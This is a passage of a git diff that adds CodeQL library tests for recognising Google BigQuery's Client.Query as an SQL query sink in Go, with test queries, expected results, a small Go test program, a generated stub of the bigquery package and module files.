.../semmle/go/frameworks/SQL/bigquery/go.mod | 50 + .../cloud.google.com/go/bigquery/stub.go | 1125 +++++++++++++++++ .../SQL/bigquery/vendor/modules.txt | 129 ++ 8 files changed, 1388 insertions(+) create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go create mode 100644 go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected new file mode 100644 index 000000000000..42831abaf155 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected @@ -0,0 +1,2 @@ +invalidModelRow +testFailures diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql new file mode 100644 index 000000000000..fa869181ed94 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql @@ -0,0 +1,56 @@ +import go +import semmle.go.dataflow.ExternalFlow +import ModelValidation +import utils.test.InlineExpectationsTest + +module SqlTest implements TestSig { + string getARelevantTag() { result = "query" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + tag = "query" and + exists(SQL::Query q, SQL::QueryString qs | qs = q.getAQueryString() | + q.getLocation() = location and + element = q.toString() and + value = qs.toString() + ) + } +} + +module QueryString implements TestSig { + string getARelevantTag() { result = "querystring" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + tag = "querystring" and + element = "" and + exists(SQL::QueryString qs | not exists(SQL::Query q | qs = q.getAQueryString()) | + qs.getLocation() = location and + value = qs.toString() + ) + } +} + +module Config implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node n) { n.asExpr() instanceof StringLit } + + predicate isSink(DataFlow::Node n) { + n = any(DataFlow::CallNode cn | cn.getTarget().getName() = "sink").getAnArgument() + } +} + +module Flow = TaintTracking::Global; + +module TaintFlow implements TestSig { + string getARelevantTag() { result = "flowfrom" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + tag = "flowfrom" and + element = "" and + exists(DataFlow::Node fromNode, DataFlow::Node toNode | + toNode.getLocation() = location and + Flow::flow(fromNode, toNode) and + value = fromNode.asExpr().(StringLit).getValue() + ) + } +} + +import MakeTest> diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected new file mode 100644 index 000000000000..f0954e9491b7 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected @@ -0,0 +1 @@ +| bigquery.go:17:15:17:23 | untrusted | cloud.google.com/go/bigquery.Client | Query | diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go new file mode 100644 index 000000000000..ae721c3a5679 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go @@ -0,0 +1,18 @@ +package main + +//go:generate depstubber -vendor cloud.google.com/go/bigquery Client + +import ( + "cloud.google.com/go/bigquery" +) + +func getUntrustedString() string { + return "trouble" +} + +func main() { + untrusted := getUntrustedString() + var client *bigquery.Client + + client.Query(untrusted) // $ querystring=untrusted +} diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql new file mode 100644 index 000000000000..ba7d0de1650a --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql @@ -0,0 +1,7 @@ +import go + +from SQL::QueryString qs, Function func, string a, string b +where + func.hasQualifiedName(a, b) and + qs = func.getACall().getSyntacticArgument(_) +select qs, a, b diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod new file mode 100644 index 000000000000..0211ae17fea5 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod @@ -0,0 +1,50 @@ +module bigquerytest + +go 1.24 + +require cloud.google.com/go/bigquery v1.68.0 + +require ( + cloud.google.com/go v0.121.0 // indirect + cloud.google.com/go/auth v0.16.1 // indirect + cloud.google.com/go/auth/oauth2adapt v0.2.8 // indirect + cloud.google.com/go/compute/metadata v0.6.0 // indirect + cloud.google.com/go/iam v1.5.2 // indirect + github.com/apache/arrow/go/v15 v15.0.2 // indirect + github.com/felixge/httpsnoop v1.0.4 // indirect + github.com/go-logr/logr v1.4.2 // indirect + github.com/go-logr/stdr v1.2.2 // indirect + github.com/goccy/go-json v0.10.2 // indirect + github.com/google/flatbuffers v23.5.26+incompatible // indirect + github.com/google/s2a-go v0.1.9 // indirect + github.com/google/uuid v1.6.0 // indirect + github.com/googleapis/enterprise-certificate-proxy v0.3.6 // indirect + github.com/googleapis/gax-go/v2 v2.14.1 // indirect + github.com/klauspost/compress v1.16.7 // indirect + github.com/klauspost/cpuid/v2 v2.2.5 // indirect + github.com/pierrec/lz4/v4 v4.1.18 // indirect + github.com/zeebo/xxh3 v1.0.2 // indirect + go.opentelemetry.io/auto/sdk v1.1.0 // indirect + go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 // indirect + go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0 // indirect + go.opentelemetry.io/otel v1.35.0 // indirect + go.opentelemetry.io/otel/metric v1.35.0 // indirect + go.opentelemetry.io/otel/trace v1.35.0 // indirect + golang.org/x/crypto v0.37.0 // indirect + golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 // indirect + golang.org/x/mod v0.23.0 // indirect + golang.org/x/net v0.39.0 // indirect + golang.org/x/oauth2 v0.29.0 // indirect + golang.org/x/sync v0.14.0 // indirect + golang.org/x/sys v0.32.0 // indirect + golang.org/x/text v0.24.0 // indirect + golang.org/x/time v0.11.0 // indirect + golang.org/x/tools v0.30.0 // indirect + golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da // indirect + google.golang.org/api v0.231.0 // indirect + google.golang.org/genproto v0.0.0-20250303144028-a0af3efb3deb // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20250428153025-10db94c68c34 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20250428153025-10db94c68c34 // indirect + google.golang.org/grpc v1.72.0 // indirect + google.golang.org/protobuf v1.36.6 // indirect +) diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go new file mode 100644 index 000000000000..5f7b3e51f59a --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go @@ -0,0 +1,1125 @@ +// Code generated by depstubber. DO NOT EDIT. +// This is a simple stub for cloud.google.com/go/bigquery, strictly for use in testing. + +// See the LICENSE file for information about the licensing of the original library. +// Source: cloud.google.com/go/bigquery (exports: Client; functions: ) + +// Package bigquery is a stub of cloud.google.com/go/bigquery, generated by depstubber. +package bigquery + +import ( + context "context" + time "time" +) + +type AccessEntry struct { + Role AccessRole + EntityType EntityType + Entity string + View *Table + Routine *Routine + Dataset *DatasetAccessEntry + Condition *Expr +} + +type AccessRole string + +type ArrowIterator interface { + Next() (*ArrowRecordBatch, error) + Schema() Schema + SerializedArrowSchema() []byte +} + +type ArrowRecordBatch struct { + Data []byte + Schema []byte + PartitionID string +} + +func (_ *ArrowRecordBatch) Read(_ []byte) (int, error) { + return 0, nil +} + +type AvroOptions struct { + UseAvroLogicalTypes bool +} + +type BigLakeConfiguration struct { + ConnectionID string + StorageURI string + FileFormat BigLakeFileFormat + TableFormat BigLakeTableFormat +} + +type BigLakeFileFormat string + +type BigLakeTableFormat string + +type CSVOptions struct { + AllowJaggedRows bool + AllowQuotedNewlines bool + Encoding Encoding + FieldDelimiter string + Quote string + ForceZeroQuote bool + SkipLeadingRows int64 + NullMarker string + PreserveASCIIControlCharacters bool +} + +type Client struct { + Location string +} + +func (_ *Client) Close() error { + return nil +} + +func (_ *Client) Dataset(_ string) *Dataset { + return nil +} + +func (_ *Client) DatasetInProject(_ string, _ string) *Dataset { + return nil +} + +func (_ *Client) Datasets(_ context.Context) *DatasetIterator { + return nil +} + +func (_ *Client) DatasetsInProject(_ context.Context, _ string) *DatasetIterator { + return nil +} + +func (_ *Client) EnableStorageReadClient(_ context.Context, _ ...interface{}) error { + return nil +} + +func (_ *Client) JobFromID(_ context.Context, _ string) (*Job, error) { + return nil, nil +} + +func (_ *Client) JobFromIDLocation(_ context.Context, _ string, _ string) (*Job, error) { + return nil, nil +} + +func (_ *Client) JobFromProject(_ context.Context, _ string, _ string, _ string) (*Job, error) { + return nil, nil +} + +func (_ *Client) Jobs(_ context.Context) *JobIterator { + return nil +} + +func (_ *Client) Project() string { + return "" +} + +func (_ *Client) Query(_ string) *Query { + return nil +} + +type CloneDefinition struct { + BaseTableReference *Table + CloneTime time.Time +} + +type Clustering struct { + Fields []string +} + +type ColumnNameCharacterMap string + +type ColumnReference struct { + ReferencingColumn string + ReferencedColumn string +} + +type Compression string + +type ConnectionProperty struct { + Key string + Value string +} + +type Copier struct { + JobIDConfig + CopyConfig +} + +func (_ *Copier) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type CopyConfig struct { + Srcs []*Table + Dst *Table + CreateDisposition TableCreateDisposition + WriteDisposition TableWriteDisposition + Labels map[string]string + DestinationEncryptionConfig *EncryptionConfig + OperationType TableCopyOperationType + JobTimeout time.Duration + Reservation string +} + +type DataFormat string + +type Dataset struct { + ProjectID string + DatasetID string +} + +func (_ *Dataset) Create(_ context.Context, _ *DatasetMetadata) error { + return nil +} + +func (_ *Dataset) CreateWithOptions(_ context.Context, _ *DatasetMetadata, _ ...DatasetOption) error { + return nil +} + +func (_ *Dataset) Delete(_ context.Context) error { + return nil +} + +func (_ *Dataset) DeleteWithContents(_ context.Context) error { + return nil +} + +func (_ *Dataset) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Dataset) Metadata(_ context.Context) (*DatasetMetadata, error) { + return nil, nil +} + +func (_ *Dataset) MetadataWithOptions(_ context.Context, _ ...DatasetOption) (*DatasetMetadata, error) { + return nil, nil +} + +func (_ *Dataset) Model(_ string) *Model { + return nil +} + +func (_ *Dataset) Models(_ context.Context) *ModelIterator { + return nil +} + +func (_ *Dataset) Routine(_ string) *Routine { + return nil +} + +func (_ *Dataset) Routines(_ context.Context) *RoutineIterator { + return nil +} + +func (_ *Dataset) Table(_ string) *Table { + return nil +} + +func (_ *Dataset) Tables(_ context.Context) *TableIterator { + return nil +} + +func (_ *Dataset) Update(_ context.Context, _ DatasetMetadataToUpdate, _ string) (*DatasetMetadata, error) { + return nil, nil +} + +func (_ *Dataset) UpdateWithOptions(_ context.Context, _ DatasetMetadataToUpdate, _ string, _ ...DatasetOption) (*DatasetMetadata, error) { + return nil, nil +} + +type DatasetAccessEntry struct { + Dataset *Dataset + TargetTypes []string +} + +type DatasetIterator struct { + ListHidden bool + Filter string + ProjectID string +} + +func (_ *DatasetIterator) Next() (*Dataset, error) { + return nil, nil +} + +func (_ *DatasetIterator) PageInfo() interface{} { + return nil +} + +type DatasetMetadata struct { + Name string + Description string + Location string + DefaultTableExpiration time.Duration + Labels map[string]string + Access []*AccessEntry + DefaultEncryptionConfig *EncryptionConfig + DefaultPartitionExpiration time.Duration + DefaultCollation string + ExternalDatasetReference *ExternalDatasetReference + MaxTimeTravel time.Duration + StorageBillingModel string + CreationTime time.Time + LastModifiedTime time.Time + FullID string + Tags []*DatasetTag + IsCaseInsensitive bool + ETag string +} + +type DatasetMetadataToUpdate struct { + Description interface{} + Name interface{} + DefaultTableExpiration interface{} + DefaultPartitionExpiration interface{} + DefaultEncryptionConfig *EncryptionConfig + DefaultCollation interface{} + ExternalDatasetReference *ExternalDatasetReference + MaxTimeTravel interface{} + StorageBillingModel interface{} + Access []*AccessEntry + IsCaseInsensitive interface{} +} + +func (_ *DatasetMetadataToUpdate) DeleteLabel(_ string) {} + +func (_ *DatasetMetadataToUpdate) SetLabel(_ string, _ string) {} + +type DatasetOption func(interface{}) + +type DatasetTag struct { + TagKey string + TagValue string +} + +type DecimalTargetType string + +type Encoding string + +type EncryptionConfig struct { + KMSKeyName string +} + +type EntityType int + +type Error struct { + Location string + Message string + Reason string +} + +func (_ Error) Error() string { + return "" +} + +type Expr struct { + Expression string + Title string + Description string + Location string +} + +type ExternalData interface{} + +type ExternalDataConfig struct { + SourceFormat DataFormat + SourceURIs []string + Schema Schema + AutoDetect bool + Compression Compression + IgnoreUnknownValues bool + MaxBadRecords int64 + Options ExternalDataConfigOptions + HivePartitioningOptions *HivePartitioningOptions + DecimalTargetTypes []DecimalTargetType + ConnectionID string + ReferenceFileSchemaURI string + MetadataCacheMode MetadataCacheMode +} + +type ExternalDataConfigOptions interface{} + +type ExternalDatasetReference struct { + Connection string + ExternalSource string +} + +type ExtractConfig struct { + Src *Table + SrcModel *Model + Dst *GCSReference + DisableHeader bool + Labels map[string]string + UseAvroLogicalTypes bool + JobTimeout time.Duration + Reservation string +} + +type Extractor struct { + JobIDConfig + ExtractConfig +} + +func (_ *Extractor) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type FieldSchema struct { + Name string + Description string + Repeated bool + Required bool + Type FieldType + PolicyTags *PolicyTagList + Schema Schema + MaxLength int64 + Precision int64 + Scale int64 + DefaultValueExpression string + Collation string + RangeElementType *RangeElementType + RoundingMode RoundingMode +} + +type FieldType string + +type FileConfig struct { + SourceFormat DataFormat + AutoDetect bool + MaxBadRecords int64 + IgnoreUnknownValues bool + Schema Schema + CSVOptions + ParquetOptions *ParquetOptions + AvroOptions *AvroOptions +} + +type ForeignKey struct { + Name string + ReferencedTable *Table + ColumnReferences []*ColumnReference +} + +type GCSReference struct { + URIs []string + FileConfig + DestinationFormat DataFormat + Compression Compression +} + +type HivePartitioningMode string + +type HivePartitioningOptions struct { + Mode HivePartitioningMode + SourceURIPrefix string + RequirePartitionFilter bool +} + +type IdentifierFormat string + +type Inserter struct { + SkipInvalidRows bool + IgnoreUnknownValues bool + TableTemplateSuffix string +} + +func (_ *Inserter) Put(_ context.Context, _ interface{}) error { + return nil +} + +type IntervalValue struct { + Years int32 + Months int32 + Days int32 + Hours int32 + Minutes int32 + Seconds int32 + SubSecondNanos int32 +} + +func (_ *IntervalValue) Canonicalize() *IntervalValue { + return nil +} + +func (_ *IntervalValue) IsCanonical() bool { + return false +} + +func (_ *IntervalValue) String() string { + return "" +} + +func (_ *IntervalValue) ToDuration() time.Duration { + return 0 +} + +type Job struct{} + +func (_ *Job) Cancel(_ context.Context) error { + return nil +} + +func (_ *Job) Children(_ context.Context) *JobIterator { + return nil +} + +func (_ *Job) Config() (JobConfig, error) { + return nil, nil +} + +func (_ *Job) Delete(_ context.Context) error { + return nil +} + +func (_ *Job) Email() string { + return "" +} + +func (_ *Job) ID() string { + return "" +} + +func (_ *Job) LastStatus() *JobStatus { + return nil +} + +func (_ *Job) Location() string { + return "" +} + +func (_ *Job) ProjectID() string { + return "" +} + +func (_ *Job) Read(_ context.Context) (*RowIterator, error) { + return nil, nil +} + +func (_ *Job) Status(_ context.Context) (*JobStatus, error) { + return nil, nil +} + +func (_ *Job) Wait(_ context.Context) (*JobStatus, error) { + return nil, nil +} + +type JobConfig interface{} + +type JobIDConfig struct { + JobID string + AddJobIDSuffix bool + Location string + ProjectID string +} + +type JobIterator struct { + ProjectID string + AllUsers bool + State State + MinCreationTime time.Time + MaxCreationTime time.Time + ParentJobID string +} + +func (_ *JobIterator) Next() (*Job, error) { + return nil, nil +} + +func (_ *JobIterator) PageInfo() interface{} { + return nil +} + +type JobStatistics struct { + CreationTime time.Time + StartTime time.Time + EndTime time.Time + TotalBytesProcessed int64 + Details Statistics + TotalSlotDuration time.Duration + ReservationUsage []*ReservationUsage + ReservationID string + NumChildJobs int64 + ParentJobID string + ScriptStatistics *ScriptStatistics + TransactionInfo *TransactionInfo + SessionInfo *SessionInfo + FinalExecutionDuration time.Duration + Edition ReservationEdition +} + +type JobStatus struct { + State State + Errors []*Error + Statistics *JobStatistics +} + +func (_ *JobStatus) Done() bool { + return false +} + +func (_ *JobStatus) Err() error { + return nil +} + +type LoadConfig struct { + Src LoadSource + Dst *Table + CreateDisposition TableCreateDisposition + WriteDisposition TableWriteDisposition + Labels map[string]string + TimePartitioning *TimePartitioning + RangePartitioning *RangePartitioning + Clustering *Clustering + DestinationEncryptionConfig *EncryptionConfig + SchemaUpdateOptions []string + UseAvroLogicalTypes bool + ProjectionFields []string + HivePartitioningOptions *HivePartitioningOptions + DecimalTargetTypes []DecimalTargetType + JobTimeout time.Duration + ReferenceFileSchemaURI string + CreateSession bool + ConnectionProperties []*ConnectionProperty + MediaOptions []interface{} + ColumnNameCharacterMap ColumnNameCharacterMap + Reservation string +} + +type LoadSource interface{} + +type Loader struct { + JobIDConfig + LoadConfig +} + +func (_ *Loader) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type MaterializedViewDefinition struct { + EnableRefresh bool + LastRefreshTime time.Time + Query string + RefreshInterval time.Duration + AllowNonIncrementalDefinition bool + MaxStaleness *IntervalValue +} + +type MetadataCacheMode string + +type Model struct { + ProjectID string + DatasetID string + ModelID string +} + +func (_ *Model) Delete(_ context.Context) error { + return nil +} + +func (_ *Model) ExtractorTo(_ *GCSReference) *Extractor { + return nil +} + +func (_ *Model) FullyQualifiedName() string { + return "" +} + +func (_ *Model) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Model) Metadata(_ context.Context) (*ModelMetadata, error) { + return nil, nil +} + +func (_ *Model) Update(_ context.Context, _ ModelMetadataToUpdate, _ string) (*ModelMetadata, error) { + return nil, nil +} + +type ModelIterator struct{} + +func (_ *ModelIterator) Next() (*Model, error) { + return nil, nil +} + +func (_ *ModelIterator) PageInfo() interface{} { + return nil +} + +type ModelMetadata struct { + Description string + Name string + Type string + CreationTime time.Time + LastModifiedTime time.Time + ExpirationTime time.Time + Location string + EncryptionConfig *EncryptionConfig + Labels map[string]string + ETag string +} + +func (_ *ModelMetadata) RawFeatureColumns() ([]*StandardSQLField, error) { + return nil, nil +} + +func (_ *ModelMetadata) RawLabelColumns() ([]*StandardSQLField, error) { + return nil, nil +} + +func (_ *ModelMetadata) RawTrainingRuns() []*TrainingRun { + return nil +} + +type ModelMetadataToUpdate struct { + Description interface{} + Name interface{} + ExpirationTime time.Time + EncryptionConfig *EncryptionConfig +} + +func (_ *ModelMetadataToUpdate) DeleteLabel(_ string) {} + +func (_ *ModelMetadataToUpdate) SetLabel(_ string, _ string) {} + +type ParquetOptions struct { + EnumAsString bool + EnableListInference bool +} + +type PolicyTagList struct { + Names []string +} + +type PrimaryKey struct { + Columns []string +} + +type Query struct { + JobIDConfig + QueryConfig +} + +func (_ *Query) Read(_ context.Context) (*RowIterator, error) { + return nil, nil +} + +func (_ *Query) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type QueryConfig struct { + Dst *Table + Q string + DefaultProjectID string + DefaultDatasetID string + TableDefinitions map[string]ExternalData + CreateDisposition TableCreateDisposition + WriteDisposition TableWriteDisposition + DisableQueryCache bool + DisableFlattenedResults bool + AllowLargeResults bool + Priority QueryPriority + MaxBillingTier int + MaxBytesBilled int64 + UseStandardSQL bool + UseLegacySQL bool + Parameters []QueryParameter + TimePartitioning *TimePartitioning + RangePartitioning *RangePartitioning + Clustering *Clustering + Labels map[string]string + DryRun bool + DestinationEncryptionConfig *EncryptionConfig + SchemaUpdateOptions []string + CreateSession bool + ConnectionProperties []*ConnectionProperty + JobTimeout time.Duration + Reservation string +} + +type QueryParameter struct { + Name string + Value interface{} +} + +type QueryPriority string + +type RangeElementType struct { + Type FieldType +} + +type RangePartitioning struct { + Field string + Range *RangePartitioningRange +} + +type RangePartitioningRange struct { + Start int64 + End int64 + Interval int64 +} + +type RemoteFunctionOptions struct { + Connection string + Endpoint string + MaxBatchingRows int64 + UserDefinedContext map[string]string +} + +type ReservationEdition string + +type ReservationUsage struct { + SlotMillis int64 + Name string +} + +type RoundingMode string + +type Routine struct { + ProjectID string + DatasetID string + RoutineID string +} + +func (_ *Routine) Create(_ context.Context, _ *RoutineMetadata) error { + return nil +} + +func (_ *Routine) Delete(_ context.Context) error { + return nil +} + +func (_ *Routine) FullyQualifiedName() string { + return "" +} + +func (_ *Routine) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Routine) Metadata(_ context.Context) (*RoutineMetadata, error) { + return nil, nil +} + +func (_ *Routine) Update(_ context.Context, _ *RoutineMetadataToUpdate, _ string) (*RoutineMetadata, error) { + return nil, nil +} + +type RoutineArgument struct { + Name string + Kind string + Mode string + DataType *StandardSQLDataType +} + +type RoutineDeterminism string + +type RoutineIterator struct{} + +func (_ *RoutineIterator) Next() (*Routine, error) { + return nil, nil +} + +func (_ *RoutineIterator) PageInfo() interface{} { + return nil +} + +type RoutineMetadata struct { + ETag string + Type string + CreationTime time.Time + Description string + DeterminismLevel RoutineDeterminism + LastModifiedTime time.Time + Language string + Arguments []*RoutineArgument + RemoteFunctionOptions *RemoteFunctionOptions + ReturnType *StandardSQLDataType + ReturnTableType *StandardSQLTableType + ImportedLibraries []string + Body string + DataGovernanceType string +} + +type RoutineMetadataToUpdate struct { + Arguments []*RoutineArgument + Description interface{} + DeterminismLevel interface{} + Type interface{} + Language interface{} + Body interface{} + ImportedLibraries []string + ReturnType *StandardSQLDataType + ReturnTableType *StandardSQLTableType + DataGovernanceType interface{} +} + +type RowIterator struct { + StartIndex uint64 + Schema Schema + TotalRows uint64 +} + +func (_ *RowIterator) ArrowIterator() (ArrowIterator, error) { + return nil, nil +} + +func (_ *RowIterator) IsAccelerated() bool { + return false +} + +func (_ *RowIterator) Next(_ interface{}) error { + return nil +} + +func (_ *RowIterator) PageInfo() interface{} { + return nil +} + +func (_ *RowIterator) QueryID() string { + return "" +} + +func (_ *RowIterator) SourceJob() *Job { + return nil +} + +type Schema []*FieldSchema + +func (_ Schema) Relax() Schema { + return nil +} + +func (_ Schema) ToJSONFields() ([]byte, error) { + return nil, nil +} + +type ScriptStackFrame struct { + StartLine int64 + StartColumn int64 + EndLine int64 + EndColumn int64 + ProcedureID string + Text string +} + +type ScriptStatistics struct { + EvaluationKind string + StackFrames []*ScriptStackFrame +} + +type SessionInfo struct { + SessionID string +} + +type SnapshotDefinition struct { + BaseTableReference *Table + SnapshotTime time.Time +} + +type StandardSQLDataType struct { + ArrayElementType *StandardSQLDataType + RangeElementType *StandardSQLDataType + StructType *StandardSQLStructType + TypeKind string +} + +type StandardSQLField struct { + Name string + Type *StandardSQLDataType +} + +type StandardSQLStructType struct { + Fields []*StandardSQLField +} + +type StandardSQLTableType struct { + Columns []*StandardSQLField +} + +type State int + +type Statistics interface{} + +type StreamingBuffer struct { + EstimatedBytes uint64 + EstimatedRows uint64 + OldestEntryTime time.Time +} + +type Table struct { + ProjectID string + DatasetID string + TableID string +} + +func (_ *Table) CopierFrom(_ ...*Table) *Copier { + return nil +} + +func (_ *Table) Create(_ context.Context, _ *TableMetadata) error { + return nil +} + +func (_ *Table) Delete(_ context.Context) error { + return nil +} + +func (_ *Table) ExtractorTo(_ *GCSReference) *Extractor { + return nil +} + +func (_ *Table) FullyQualifiedName() string { + return "" +} + +func (_ *Table) IAM() interface{} { + return nil +} + +func (_ *Table) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Table) Inserter() *Inserter { + return nil +} + +func (_ *Table) LoaderFrom(_ LoadSource) *Loader { + return nil +} + +func (_ *Table) Metadata(_ context.Context, _ ...TableMetadataOption) (*TableMetadata, error) { + return nil, nil +} + +func (_ *Table) Read(_ context.Context) *RowIterator { + return nil +} + +func (_ *Table) Update(_ context.Context, _ TableMetadataToUpdate, _ string, _ ...TableUpdateOption) (*TableMetadata, error) { + return nil, nil +} + +func (_ *Table) Uploader() *Inserter { + return nil +} + +type TableConstraints struct { + PrimaryKey *PrimaryKey + ForeignKeys []*ForeignKey +} + +type TableCopyOperationType string + +type TableCreateDisposition string + +type TableIterator struct{} + +func (_ *TableIterator) Next() (*Table, error) { + return nil, nil +} + +func (_ *TableIterator) PageInfo() interface{} { + return nil +} + +type TableMetadata struct { + Name string + Location string + Description string + Schema Schema + MaterializedView *MaterializedViewDefinition + ViewQuery string + UseLegacySQL bool + UseStandardSQL bool + TimePartitioning *TimePartitioning + RangePartitioning *RangePartitioning + RequirePartitionFilter bool + Clustering *Clustering + ExpirationTime time.Time + Labels map[string]string + ExternalDataConfig *ExternalDataConfig + EncryptionConfig *EncryptionConfig + FullID string + Type TableType + CreationTime time.Time + LastModifiedTime time.Time + NumBytes int64 + NumLongTermBytes int64 + NumRows uint64 + SnapshotDefinition *SnapshotDefinition + CloneDefinition *CloneDefinition + StreamingBuffer *StreamingBuffer + ETag string + DefaultCollation string + TableConstraints *TableConstraints + MaxStaleness *IntervalValue + ResourceTags map[string]string + BigLakeConfiguration *BigLakeConfiguration +} + +type TableMetadataOption func(interface{}) + +type TableMetadataToUpdate struct { + Description interface{} + Name interface{} + Schema Schema + Clustering *Clustering + EncryptionConfig *EncryptionConfig + ExpirationTime time.Time + ExternalDataConfig *ExternalDataConfig + ViewQuery interface{} + UseLegacySQL interface{} + MaterializedView *MaterializedViewDefinition + TimePartitioning *TimePartitioning + RequirePartitionFilter interface{} + DefaultCollation interface{} + TableConstraints *TableConstraints + MaxStaleness *IntervalValue + ResourceTags map[string]string + BigLakeConfiguration *BigLakeConfiguration +} + +func (_ *TableMetadataToUpdate) DeleteLabel(_ string) {} + +func (_ *TableMetadataToUpdate) SetLabel(_ string, _ string) {} + +type TableType string + +type TableUpdateOption func(interface{}) + +type TableWriteDisposition string + +type TimePartitioning struct { + Type TimePartitioningType + Expiration time.Duration + Field string + RequirePartitionFilter bool +} + +type TimePartitioningType string + +type TrainingRun struct { + ClassLevelGlobalExplanations []interface{} + DataSplitResult interface{} + EvaluationMetrics interface{} + ModelLevelGlobalExplanation interface{} + Results []interface{} + StartTime string + TrainingOptions interface{} + TrainingStartTime int64 + VertexAiModelId string + VertexAiModelVersion string + ForceSendFields []string + NullFields []string +} + +type TransactionInfo struct { + TransactionID string +} diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt new file mode 100644 index 000000000000..1c7d4c630814 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt @@ -0,0 +1,129 @@ +# cloud.google.com/go/bigquery v1.68.0 +## explicit +cloud.google.com/go/bigquery +# cloud.google.com/go v0.121.0 +## explicit +cloud.google.com/go/bigquery +# cloud.google.com/go/auth v0.16.1 +## explicit +cloud.google.com/go/auth +# cloud.google.com/go/auth/oauth2adapt v0.2.8 +## explicit +cloud.google.com/go/auth/oauth2adapt +# cloud.google.com/go/compute/metadata v0.6.0 +## explicit +cloud.google.com/go/compute/metadata +# cloud.google.com/go/iam v1.5.2 +## explicit +cloud.google.com/go/iam +# github.com/apache/arrow/go/v15 v15.0.2 +## explicit +github.com/apache/arrow/go/v15 +# github.com/felixge/httpsnoop v1.0.4 +## explicit +github.com/felixge/httpsnoop +# github.com/go-logr/logr v1.4.2 +## explicit +github.com/go-logr/logr +# github.com/go-logr/stdr v1.2.2 +## explicit +github.com/go-logr/stdr +# github.com/goccy/go-json v0.10.2 +## explicit +github.com/goccy/go-json +# github.com/google/flatbuffers v23.5.26+incompatible +## explicit +github.com/google/flatbuffers +# github.com/google/s2a-go v0.1.9 +## explicit +github.com/google/s2a-go +# github.com/google/uuid v1.6.0 +## explicit +github.com/google/uuid +# github.com/googleapis/enterprise-certificate-proxy v0.3.6 +## explicit +github.com/googleapis/enterprise-certificate-proxy +# github.com/googleapis/gax-go/v2 v2.14.1 +## explicit +github.com/googleapis/gax-go/v2 +# github.com/klauspost/compress v1.16.7 +## explicit +github.com/klauspost/compress +# github.com/klauspost/cpuid/v2 v2.2.5 +## explicit +github.com/klauspost/cpuid/v2 +# github.com/pierrec/lz4/v4 v4.1.18 +## explicit +github.com/pierrec/lz4/v4 +# github.com/zeebo/xxh3 v1.0.2 +## explicit +github.com/zeebo/xxh3 +# go.opentelemetry.io/auto/sdk v1.1.0 +## explicit +go.opentelemetry.io/auto/sdk +# go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 +## explicit +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc +# go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0 +## explicit 